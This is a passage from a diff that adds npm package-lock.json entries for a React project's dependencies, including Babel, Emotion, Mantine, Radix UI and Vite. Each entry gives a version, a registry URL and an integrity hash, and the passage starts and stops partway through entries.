"sha512-3HBZ377Fe14RbLIA+ac3sY4PTgpxHVkFrESaWhoI5PuyXPBBX8+C34qblV9G89ZtycGJCmCI/Ut+VUDK4bltNQ==", + "requires": { + "@babel/helper-environment-visitor": "^7.18.9", + "@babel/helper-module-imports": "^7.18.6", + "@babel/helper-simple-access": "^7.18.6", + "@babel/helper-split-export-declaration": "^7.18.6", + "@babel/helper-validator-identifier": "^7.18.6", + "@babel/template": "^7.18.10", + "@babel/traverse": "^7.19.0", + "@babel/types": "^7.19.0" + } + }, + "@babel/helper-plugin-utils": { + "version": "7.19.0", + "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.19.0.tgz", + "integrity": "sha512-40Ryx7I8mT+0gaNxm8JGTZFUITNqdLAgdg0hXzeVZxVD6nFsdhQvip6v8dqkRHzsz1VFpFAaOCHNn0vKBL7Czw==", + "dev": true + }, + "@babel/helper-simple-access": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.18.6.tgz", + "integrity": "sha512-iNpIgTgyAvDQpDj76POqg+YEt8fPxx3yaNBg3S30dxNKm2SWfYhD0TGrK/Eu9wHpUW63VQU894TsTg+GLbUa1g==", + "requires": { + "@babel/types": "^7.18.6" + } + }, + "@babel/helper-split-export-declaration": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.18.6.tgz", + "integrity": "sha512-bde1etTx6ZyTmobl9LLMMQsaizFVZrquTEHOqKeQESMKo4PlObf+8+JA25ZsIpZhT/WEd39+vOdLXAFG/nELpA==", + "requires": { + "@babel/types": "^7.18.6" + } + }, + "@babel/helper-string-parser": { + "version": "7.18.10", + "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.18.10.tgz", + "integrity": "sha512-XtIfWmeNY3i4t7t4D2t02q50HvqHybPqW2ki1kosnvWCwuCMeo81Jf0gwr85jy/neUdg5XDdeFE/80DXiO+njw==" + }, + "@babel/helper-validator-identifier": { + "version": "7.19.1", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.19.1.tgz", + "integrity": "sha512-awrNfaMtnHUr653GgGEs++LlAvW6w+DcPrOliSMXWCKo597CwL5Acf/wWdNkf/tfEQE3mjkeD1YOVZOUV/od1w==" + }, + "@babel/helper-validator-option": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.18.6.tgz", + "integrity": "sha512-XO7gESt5ouv/LRJdrVjkShckw6STTaB7l9BrpBaAHDeF5YZT+01PCwmR0SJHnkW6i8OwW/EVWRShfi4j2x+KQw==" + }, + "@babel/helpers": { + "version": "7.19.0", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.19.0.tgz", + "integrity": "sha512-DRBCKGwIEdqY3+rPJgG/dKfQy9+08rHIAJx8q2p+HSWP87s2HCrQmaAMMyMll2kIXKCW0cO1RdQskx15Xakftg==", + "requires": { + "@babel/template": "^7.18.10", + "@babel/traverse": "^7.19.0", + "@babel/types": "^7.19.0" + } + }, + "@babel/highlight": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.18.6.tgz", + "integrity": "sha512-u7stbOuYjaPezCuLj29hNW1v64M2Md2qupEKP1fHc7WdOA3DgLh37suiSrZYY7haUB7iBeQZ9P1uiRF359do3g==", + "requires": { + "@babel/helper-validator-identifier": "^7.18.6", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + } + }, + "@babel/parser": { + "version": "7.19.3", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.19.3.tgz", + "integrity": "sha512-pJ9xOlNWHiy9+FuFP09DEAFbAn4JskgRsVcc169w2xRBC3FRGuQEwjeIMMND9L2zc0iEhO/tGv4Zq+km+hxNpQ==" + }, + "@babel/plugin-syntax-jsx": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.18.6.tgz", + "integrity": "sha512-6mmljtAedFGTWu2p/8WIORGwy+61PLgOMPOdazc7YoJ9ZCWUyFy3A6CpPkRKLKD1ToAesxX8KGEViAiLo9N+7Q==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.18.6" + } + }, + "@babel/plugin-transform-react-jsx": { + "version": "7.19.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx/-/plugin-transform-react-jsx-7.19.0.tgz", + "integrity": "sha512-UVEvX3tXie3Szm3emi1+G63jyw1w5IcMY0FSKM+CRnKRI5Mr1YbCNgsSTwoTwKphQEG9P+QqmuRFneJPZuHNhg==", + "dev": true, + "requires": { + "@babel/helper-annotate-as-pure": "^7.18.6", + "@babel/helper-module-imports": "^7.18.6", + "@babel/helper-plugin-utils": "^7.19.0", + "@babel/plugin-syntax-jsx": "^7.18.6", + "@babel/types": "^7.19.0" + } + }, + "@babel/plugin-transform-react-jsx-development": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-development/-/plugin-transform-react-jsx-development-7.18.6.tgz", + "integrity": "sha512-SA6HEjwYFKF7WDjWcMcMGUimmw/nhNRDWxr+KaLSCrkD/LMDBvWRmHAYgE1HDeF8KUuI8OAu+RT6EOtKxSW2qA==", + "dev": true, + "requires": { + "@babel/plugin-transform-react-jsx": "^7.18.6" + } + }, + "@babel/plugin-transform-react-jsx-self": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-self/-/plugin-transform-react-jsx-self-7.18.6.tgz", + "integrity": "sha512-A0LQGx4+4Jv7u/tWzoJF7alZwnBDQd6cGLh9P+Ttk4dpiL+J5p7NSNv/9tlEFFJDq3kjxOavWmbm6t0Gk+A3Ig==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.18.6" + } + }, + "@babel/plugin-transform-react-jsx-source": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-react-jsx-source/-/plugin-transform-react-jsx-source-7.18.6.tgz", + "integrity": "sha512-utZmlASneDfdaMh0m/WausbjUjEdGrQJz0vFK93d7wD3xf5wBtX219+q6IlCNZeguIcxS2f/CvLZrlLSvSHQXw==", + "dev": true, + "requires": { + "@babel/helper-plugin-utils": "^7.18.6" + } + }, + "@babel/runtime": { + "version": "7.21.0", + "resolved": "https://registry.npmjs.org/@babel/runtime/-/runtime-7.21.0.tgz", + "integrity": "sha512-xwII0//EObnq89Ji5AKYQaRYiW/nZ3llSv29d49IuxPhKbtJoLP+9QUUZ4nVragQVtaVGeZrpB+ZtG/Pdy/POw==", + "requires": { + "regenerator-runtime": "^0.13.11" + } + }, + "@babel/template": { + "version": "7.18.10", + "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.18.10.tgz", + "integrity": "sha512-TI+rCtooWHr3QJ27kJxfjutghu44DLnasDMwpDqCXVTal9RLp3RSYNh4NdBrRP2cQAoG9A8juOQl6P6oZG4JxA==", + "requires": { + "@babel/code-frame": "^7.18.6", + "@babel/parser": "^7.18.10", + "@babel/types": "^7.18.10" + } + }, + "@babel/traverse": { + "version": "7.19.3", + "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.19.3.tgz", + "integrity": "sha512-qh5yf6149zhq2sgIXmwjnsvmnNQC2iw70UFjp4olxucKrWd/dvlUsBI88VSLUsnMNF7/vnOiA+nk1+yLoCqROQ==", + "requires": { + "@babel/code-frame": "^7.18.6", + "@babel/generator": "^7.19.3", + "@babel/helper-environment-visitor": "^7.18.9", + "@babel/helper-function-name": "^7.19.0", + "@babel/helper-hoist-variables": "^7.18.6", + "@babel/helper-split-export-declaration": "^7.18.6", + "@babel/parser": "^7.19.3", + "@babel/types": "^7.19.3", + "debug": "^4.1.0", + "globals": "^11.1.0" + } + }, + "@babel/types": { + "version": "7.19.3", + "resolved": "https://registry.npmjs.org/@babel/types/-/types-7.19.3.tgz", + "integrity": "sha512-hGCaQzIY22DJlDh9CH7NOxgKkFjBk0Cw9xDO1Xmh2151ti7wiGfQ3LauXzL4HP1fmFlTX6XjpRETTpUcv7wQLw==", + "requires": { + "@babel/helper-string-parser": "^7.18.10", + "@babel/helper-validator-identifier": "^7.19.1", + "to-fast-properties": "^2.0.0" + } + }, + "@emotion/babel-plugin": { + "version": "11.10.6", + "resolved": "https://registry.npmjs.org/@emotion/babel-plugin/-/babel-plugin-11.10.6.tgz", + "integrity": "sha512-p2dAqtVrkhSa7xz1u/m9eHYdLi+en8NowrmXeF/dKtJpU8lCWli8RUAati7NcSl0afsBott48pdnANuD0wh9QQ==", + "requires": { + "@babel/helper-module-imports": "^7.16.7", + "@babel/runtime": "^7.18.3", + "@emotion/hash": "^0.9.0", + "@emotion/memoize": "^0.8.0", + "@emotion/serialize": "^1.1.1", + "babel-plugin-macros": "^3.1.0", + "convert-source-map": "^1.5.0", + "escape-string-regexp": "^4.0.0", + "find-root": "^1.1.0", + "source-map": "^0.5.7", + "stylis": "4.1.3" + }, + "dependencies": { + "escape-string-regexp": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz", + "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==" + } + } + }, + "@emotion/cache": { + "version": "11.10.5", + "resolved": "https://registry.npmjs.org/@emotion/cache/-/cache-11.10.5.tgz", + "integrity": "sha512-dGYHWyzTdmK+f2+EnIGBpkz1lKc4Zbj2KHd4cX3Wi8/OWr5pKslNjc3yABKH4adRGCvSX4VDC0i04mrrq0aiRA==", + "requires": { + "@emotion/memoize": "^0.8.0", + "@emotion/sheet": "^1.2.1", + "@emotion/utils": "^1.2.0", + "@emotion/weak-memoize": "^0.3.0", + "stylis": "4.1.3" + } + }, + "@emotion/hash": { + "version": "0.9.0", + "resolved": "https://registry.npmjs.org/@emotion/hash/-/hash-0.9.0.tgz", + "integrity": "sha512-14FtKiHhy2QoPIzdTcvh//8OyBlknNs2nXRwIhG904opCby3l+9Xaf/wuPvICBF0rc1ZCNBd3nKe9cd2mecVkQ==" + }, + "@emotion/memoize": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/@emotion/memoize/-/memoize-0.8.0.tgz", + "integrity": "sha512-G/YwXTkv7Den9mXDO7AhLWkE3q+I92B+VqAE+dYG4NGPaHZGvt3G8Q0p9vmE+sq7rTGphUbAvmQ9YpbfMQGGlA==" + }, + "@emotion/react": { + "version": "11.10.6", + "resolved": "https://registry.npmjs.org/@emotion/react/-/react-11.10.6.tgz", + "integrity": "sha512-6HT8jBmcSkfzO7mc+N1L9uwvOnlcGoix8Zn7srt+9ga0MjREo6lRpuVX0kzo6Jp6oTqDhREOFsygN6Ew4fEQbw==", + "requires": { + "@babel/runtime": "^7.18.3", + "@emotion/babel-plugin": "^11.10.6", + "@emotion/cache": "^11.10.5", + "@emotion/serialize": "^1.1.1", + "@emotion/use-insertion-effect-with-fallbacks": "^1.0.0", + "@emotion/utils": "^1.2.0", + "@emotion/weak-memoize": "^0.3.0", + "hoist-non-react-statics": "^3.3.1" + } + }, + "@emotion/serialize": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/@emotion/serialize/-/serialize-1.1.1.tgz", + "integrity": "sha512-Zl/0LFggN7+L1liljxXdsVSVlg6E/Z/olVWpfxUTxOAmi8NU7YoeWeLfi1RmnB2TATHoaWwIBRoL+FvAJiTUQA==", + "requires": { + "@emotion/hash": "^0.9.0", + "@emotion/memoize": "^0.8.0", + "@emotion/unitless": "^0.8.0", + "@emotion/utils": "^1.2.0", + "csstype": "^3.0.2" + } + }, + "@emotion/sheet": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@emotion/sheet/-/sheet-1.2.1.tgz", + "integrity": "sha512-zxRBwl93sHMsOj4zs+OslQKg/uhF38MB+OMKoCrVuS0nyTkqnau+BM3WGEoOptg9Oz45T/aIGs1qbVAsEFo3nA==" + }, + "@emotion/unitless": { + "version": "0.8.0", + "resolved": "https://registry.npmjs.org/@emotion/unitless/-/unitless-0.8.0.tgz", + "integrity": "sha512-VINS5vEYAscRl2ZUDiT3uMPlrFQupiKgHz5AA4bCH1miKBg4qtwkim1qPmJj/4WG6TreYMY111rEFsjupcOKHw==" + }, + "@emotion/use-insertion-effect-with-fallbacks": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@emotion/use-insertion-effect-with-fallbacks/-/use-insertion-effect-with-fallbacks-1.0.0.tgz", + "integrity": "sha512-1eEgUGmkaljiBnRMTdksDV1W4kUnmwgp7X9G8B++9GYwl1lUdqSndSriIrTJ0N7LQaoauY9JJ2yhiOYK5+NI4A==", + "requires": {} + }, + "@emotion/utils": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@emotion/utils/-/utils-1.2.0.tgz", + "integrity": "sha512-sn3WH53Kzpw8oQ5mgMmIzzyAaH2ZqFEbozVVBSYp538E06OSE6ytOp7pRAjNQR+Q/orwqdQYJSe2m3hCOeznkw==" + }, + "@emotion/weak-memoize": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/@emotion/weak-memoize/-/weak-memoize-0.3.0.tgz", + "integrity": "sha512-AHPmaAx+RYfZz0eYu6Gviiagpmiyw98ySSlQvCUhVGDRtDFe4DBS0x1bSjdF3gqUDYOczB+yYvBTtEylYSdRhg==" + }, + "@esbuild/android-arm": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.15.10.tgz", + "integrity": "sha512-FNONeQPy/ox+5NBkcSbYJxoXj9GWu8gVGJTVmUyoOCKQFDTrHVKgNSzChdNt0I8Aj/iKcsDf2r9BFwv+FSNUXg==", + "dev": true, + "optional": true + }, + "@esbuild/linux-loong64": { + "version": "0.15.10", + "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.15.10.tgz", + "integrity": "sha512-w0Ou3Z83LOYEkwaui2M8VwIp+nLi/NA60lBLMvaJ+vXVMcsARYdEzLNE7RSm4+lSg4zq4d7fAVuzk7PNQ5JFgg==", + "dev": true, + "optional": true + }, + "@floating-ui/core": { + "version": "1.2.2", + "resolved": "https://registry.npmjs.org/@floating-ui/core/-/core-1.2.2.tgz", + "integrity": "sha512-FaO9KVLFnxknZaGWGmNtjD2CVFuc0u4yeGEofoyXO2wgRA7fLtkngT6UB0vtWQWuhH3iMTZZ/Y89CMeyGfn8pA==" + }, + "@floating-ui/dom": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/@floating-ui/dom/-/dom-1.2.3.tgz", + "integrity": "sha512-lK9cZUrHSJLMVAdCvDqs6Ug8gr0wmqksYiaoj/bxj2gweRQkSuhg2/V6Jswz2KiQ0RAULbqw1oQDJIMpQ5GfGA==", + "requires": { + "@floating-ui/core": "^1.2.2" + } + }, + "@floating-ui/react": { + "version": "0.19.2", + "resolved": "https://registry.npmjs.org/@floating-ui/react/-/react-0.19.2.tgz", + "integrity": "sha512-JyNk4A0Ezirq8FlXECvRtQOX/iBe5Ize0W/pLkrZjfHW9GUV7Xnq6zm6fyZuQzaHHqEnVizmvlA96e1/CkZv+w==", + "requires": { + "@floating-ui/react-dom": "^1.3.0", + "aria-hidden": "^1.1.3", + "tabbable": "^6.0.1" + } + }, + "@floating-ui/react-dom": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/@floating-ui/react-dom/-/react-dom-1.3.0.tgz", + "integrity": "sha512-htwHm67Ji5E/pROEAr7f8IKFShuiCKHwUC/UY4vC3I5jiSvGFAYnSYiZO5MlGmads+QqvUkR9ANHEguGrDv72g==", + "requires": { + "@floating-ui/dom": "^1.2.1" + } + }, + "@jridgewell/gen-mapping": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.1.1.tgz", + "integrity": "sha512-sQXCasFk+U8lWYEe66WxRDOE9PjVz4vSM51fTu3Hw+ClTpUSQb718772vH3pyS5pShp6lvQM7SxgIDXXXmOX7w==", + "requires": { + "@jridgewell/set-array": "^1.0.0", + "@jridgewell/sourcemap-codec": "^1.4.10" + } + }, + "@jridgewell/resolve-uri": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.0.tgz", + "integrity": "sha512-F2msla3tad+Mfht5cJq7LSXcdudKTWCVYUgw6pLFOOHSTtZlj6SWNYAp+AhuqLmWdBO2X5hPrLcu8cVP8fy28w==" + }, + "@jridgewell/set-array": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.1.2.tgz", + "integrity": "sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw==" + }, + "@jridgewell/sourcemap-codec": { + "version": "1.4.14", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.14.tgz", + "integrity": "sha512-XPSJHWmi394fuUuzDnGz1wiKqWfo1yXecHQMRf2l6hztTO+nPru658AyDngaBe7isIxEkRsPR3FZh+s7iVa4Uw==" + }, + "@jridgewell/trace-mapping": { + "version": "0.3.16", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.16.tgz", + "integrity": "sha512-LCQ+NeThyJ4k1W2d+vIKdxuSt9R3pQSZ4P92m7EakaYuXcVWbHuT5bjNcqLd4Rdgi6xYWYDvBJZJLZSLanjDcA==", + "requires": { + "@jridgewell/resolve-uri": "3.1.0", + "@jridgewell/sourcemap-codec": "1.4.14" + } + }, + "@mantine/core": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@mantine/core/-/core-6.0.0.tgz", + "integrity": "sha512-ik2NUAAn9fYcqmOAluGtI9R73ijrr450dZDA+MezKq/dvpUU/Fhl9yXnGoCxxZ5XF6y4i6q07318rdrVturc9w==", + "requires": { + "@floating-ui/react": "^0.19.1", + "@mantine/styles": "6.0.0", + "@mantine/utils": "6.0.0", + "@radix-ui/react-scroll-area": "1.0.2", + "react-remove-scroll": "^2.5.5", + "react-textarea-autosize": "8.3.4" + } + }, + "@mantine/hooks": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@mantine/hooks/-/hooks-6.0.0.tgz", + "integrity": "sha512-boszkajLaA4qvd/ebDhqZBbMuUXlvJv8EM0jTaXz09IaGPachBKG5WKpXEcwWh2qmrUQL6pyhIbLMgPnvwS0QQ==", + "requires": {} + }, + "@mantine/styles": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@mantine/styles/-/styles-6.0.0.tgz", + "integrity": "sha512-TyqFvdKIhbhnGYBDEJ9QIPit4NzyzQ3ivDfdzeqzd/cJBxFPhxB0sEFU8RppXpXBUlbhLFhulYFEVl2pP6zaeg==", + "requires": { + "clsx": "1.1.1", + "csstype": "3.0.9" + }, + "dependencies": { + "csstype": { + "version": "3.0.9", + "resolved": "https://registry.npmjs.org/csstype/-/csstype-3.0.9.tgz", + "integrity": "sha512-rpw6JPxK6Rfg1zLOYCSwle2GFOOsnjmDYDaBwEcwoOg4qlsIVCN789VkBZDJAGi4T07gI4YSutR43t9Zz4Lzuw==" + } + } + }, + "@mantine/utils": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/@mantine/utils/-/utils-6.0.0.tgz", + "integrity": "sha512-1AalSgzINKP4uv1DBTkJe/jh6yGwC2xaCQE4Atlr2bSHiLezYFMy/deGQ8XLFFv2AL0sjvewLW4ernlFujGMZg==", + "requires": {} + }, + "@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dev": true, + "requires": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + } + }, + "@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "dev": true + }, + "@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dev": true, + "requires": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + } + }, + "@radix-ui/number": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@radix-ui/number/-/number-1.0.0.tgz", + "integrity": "sha512-Ofwh/1HX69ZfJRiRBMTy7rgjAzHmwe4kW9C9Y99HTRUcYLUuVT0KESFj15rPjRgKJs20GPq8Bm5aEDJ8DuA3vA==", + "requires": { + "@babel/runtime": "^7.13.10" + } + }, + "@radix-ui/primitive": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@radix-ui/primitive/-/primitive-1.0.0.tgz", + "integrity": "sha512-3e7rn8FDMin4CgeL7Z/49smCA3rFYY3Ha2rUQ7HRWFadS5iCRw08ZgVT1LaNTCNqgvrUiyczLflrVrF0SRQtNA==", + "requires": { + "@babel/runtime": "^7.13.10" + } + }, + "@radix-ui/react-compose-refs": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-compose-refs/-/react-compose-refs-1.0.0.tgz", + "integrity": "sha512-0KaSv6sx787/hK3eF53iOkiSLwAGlFMx5lotrqD2pTjB18KbybKoEIgkNZTKC60YECDQTKGTRcDBILwZVqVKvA==", + "requires": { + "@babel/runtime": "^7.13.10" + } + }, + "@radix-ui/react-context": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-context/-/react-context-1.0.0.tgz", + "integrity": "sha512-1pVM9RfOQ+n/N5PJK33kRSKsr1glNxomxONs5c49MliinBY6Yw2Q995qfBUUo0/Mbg05B/sGA0gkgPI7kmSHBg==", + "requires": { + "@babel/runtime": "^7.13.10" + } + }, + "@radix-ui/react-direction": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-direction/-/react-direction-1.0.0.tgz", + "integrity": "sha512-2HV05lGUgYcA6xgLQ4BKPDmtL+QbIZYH5fCOTAOOcJ5O0QbWS3i9lKaurLzliYUDhORI2Qr3pyjhJh44lKA3rQ==", + "requires": { + "@babel/runtime": "^7.13.10" + } + }, + "@radix-ui/react-presence": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-presence/-/react-presence-1.0.0.tgz", + "integrity": "sha512-A+6XEvN01NfVWiKu38ybawfHsBjWum42MRPnEuqPsBZ4eV7e/7K321B5VgYMPv3Xx5An6o1/l9ZuDBgmcmWK3w==", + "requires": { + "@babel/runtime": "^7.13.10", + "@radix-ui/react-compose-refs": "1.0.0", + "@radix-ui/react-use-layout-effect": "1.0.0" + } + }, + "@radix-ui/react-primitive": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-primitive/-/react-primitive-1.0.1.tgz", + "integrity": "sha512-fHbmislWVkZaIdeF6GZxF0A/NH/3BjrGIYj+Ae6eTmTCr7EB0RQAAVEiqsXK6p3/JcRqVSBQoceZroj30Jj3XA==", + "requires": { + "@babel/runtime": "^7.13.10", + "@radix-ui/react-slot": "1.0.1" + } + }, + "@radix-ui/react-scroll-area": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/@radix-ui/react-scroll-area/-/react-scroll-area-1.0.2.tgz", + "integrity": "sha512-k8VseTxI26kcKJaX0HPwkvlNBPTs56JRdYzcZ/vzrNUkDlvXBy8sMc7WvCpYzZkHgb+hd72VW9MqkqecGtuNgg==", + "requires": { + "@babel/runtime": "^7.13.10", + "@radix-ui/number": "1.0.0", + "@radix-ui/primitive": "1.0.0", + "@radix-ui/react-compose-refs": "1.0.0", + "@radix-ui/react-context": "1.0.0", + "@radix-ui/react-direction": "1.0.0", + "@radix-ui/react-presence": "1.0.0", + "@radix-ui/react-primitive": "1.0.1", + "@radix-ui/react-use-callback-ref": "1.0.0", + "@radix-ui/react-use-layout-effect": "1.0.0" + } + }, + "@radix-ui/react-slot": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@radix-ui/react-slot/-/react-slot-1.0.1.tgz", + "integrity": "sha512-avutXAFL1ehGvAXtPquu0YK5oz6ctS474iM3vNGQIkswrVhdrS52e3uoMQBzZhNRAIE0jBnUyXWNmSjGHhCFcw==", + "requires": { + "@babel/runtime": "^7.13.10", + "@radix-ui/react-compose-refs": "1.0.0" + } + }, + "@radix-ui/react-use-callback-ref": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-callback-ref/-/react-use-callback-ref-1.0.0.tgz", + "integrity": "sha512-GZtyzoHz95Rhs6S63D2t/eqvdFCm7I+yHMLVQheKM7nBD8mbZIt+ct1jz4536MDnaOGKIxynJ8eHTkVGVVkoTg==", + "requires": { + "@babel/runtime": "^7.13.10" + } + }, + "@radix-ui/react-use-layout-effect": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@radix-ui/react-use-layout-effect/-/react-use-layout-effect-1.0.0.tgz", + "integrity": "sha512-6Tpkq+R6LOlmQb1R5NNETLG0B4YP0wc+klfXafpUCj6JGyaUc8il7/kUZ7m59rGbXGczE9Bs+iz2qloqsZBduQ==", + "requires": { + "@babel/runtime": "^7.13.10" + } + }, + "@rollup/plugin-babel": { + "version": "6.0.3", + "resolved": "https://registry.npmjs.org/@rollup/plugin-babel/-/plugin-babel-6.0.3.tgz", + "integrity": "sha512-fKImZKppa1A/gX73eg4JGo+8kQr/q1HBQaCGKECZ0v4YBBv3lFqi14+7xyApECzvkLTHCifx+7ntcrvtBIRcpg==", + "requires": { + "@babel/helper-module-imports": "^7.18.6", + "@rollup/pluginutils": "^5.0.1" + } + }, + "@rollup/pluginutils": { + "version": "5.0.2", + "resolved": "https://registry.npmjs.org/@rollup/pluginutils/-/pluginutils-5.0.2.tgz", + "integrity": "sha512-pTd9rIsP92h+B6wWwFbW8RkZv4hiR/xKsqre4SIuAOaOEQRxi0lqLke9k2/7WegC85GgUs9pjmOjCUi3In4vwA==", + "requires": { + "@types/estree": "^1.0.0", + "estree-walker": "^2.0.2", + "picomatch": "^2.3.1" + } + }, + "@types/estree": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.0.tgz", + "integrity": "sha512-WulqXMDUTYAXCjZnk6JtIHPigp55cVtDgDrO2gHRwhyJto21+1zbVCtOYB2L1F9w4qCQ0rOGWBnBe0FNTiEJIQ==" + }, + "@types/parse-json": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/@types/parse-json/-/parse-json-4.0.0.tgz", + "integrity": "sha512-//oorEZjL6sbPcKUaCdIGlIUeH26mgzimjBB77G6XRgnDl/L5wOnpyBGRe/Mmf5CVW3PwEBE1NjiMZ/ssFh4wA==" + }, + "@types/prop-types": { + "version": "15.7.5", + "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.5.tgz", + "integrity": "sha512-JCB8C6SnDoQf0cNycqd/35A7MjcnK+ZTqE7judS6o7utxUCg6imJg3QK2qzHKszlTjcj2cn+NwMB2i96ubpj7w==", + "devOptional": true + }, + "@types/react": { + "version": "18.0.21", + "resolved": "https://registry.npmjs.org/@types/react/-/react-18.0.21.tgz", + "integrity": "sha512-7QUCOxvFgnD5Jk8ZKlUAhVcRj7GuJRjnjjiY/IUBWKgOlnvDvTMLD4RTF7NPyVmbRhNrbomZiOepg7M/2Kj1mA==", + "devOptional": true, + "requires": { + "@types/prop-types": "*", + "@types/scheduler": "*", + "csstype": "^3.0.2" + } + }, + "@types/react-dom": { + "version": "18.0.6", + "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-18.0.6.tgz", + "integrity": "sha512-/5OFZgfIPSwy+YuIBP/FgJnQnsxhZhjjrnxudMddeblOouIodEQ75X14Rr4wGSG/bknL+Omy9iWlLo1u/9GzAA==", + "dev": true, + "requires": { + "@types/react": "*" + } + }, + "@types/scheduler": { + "version": "0.16.2", + "resolved": "https://registry.npmjs.org/@types/scheduler/-/scheduler-0.16.2.tgz", + "integrity": "sha512-hppQEBDmlwhFAXKJX2KnWLYu5yMfi91yazPb2l+lbJiwW+wdo1gNeRA+3RgNSO39WYX2euey41KEwnqesU2Jew==", + "devOptional": true + }, + "@vitejs/plugin-react": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/@vitejs/plugin-react/-/plugin-react-2.1.0.tgz", + "integrity": "sha512-am6rPyyU3LzUYne3Gd9oj9c4Rzbq5hQnuGXSMT6Gujq45Il/+bunwq3lrB7wghLkiF45ygMwft37vgJ/NE8IAA==", + "dev": true, + "requires": { + "@babel/core": "^7.18.13", + "@babel/plugin-transform-react-jsx": "^7.18.10", + "@babel/plugin-transform-react-jsx-development": "^7.18.6", + "@babel/plugin-transform-react-jsx-self": "^7.18.6", + "@babel/plugin-transform-react-jsx-source": "^7.18.6", + "magic-string": "^0.26.2", + "react-refresh": "^0.14.0" + } + }, + "ansi-styles": { + "version": "3.2.1", + "resolved": 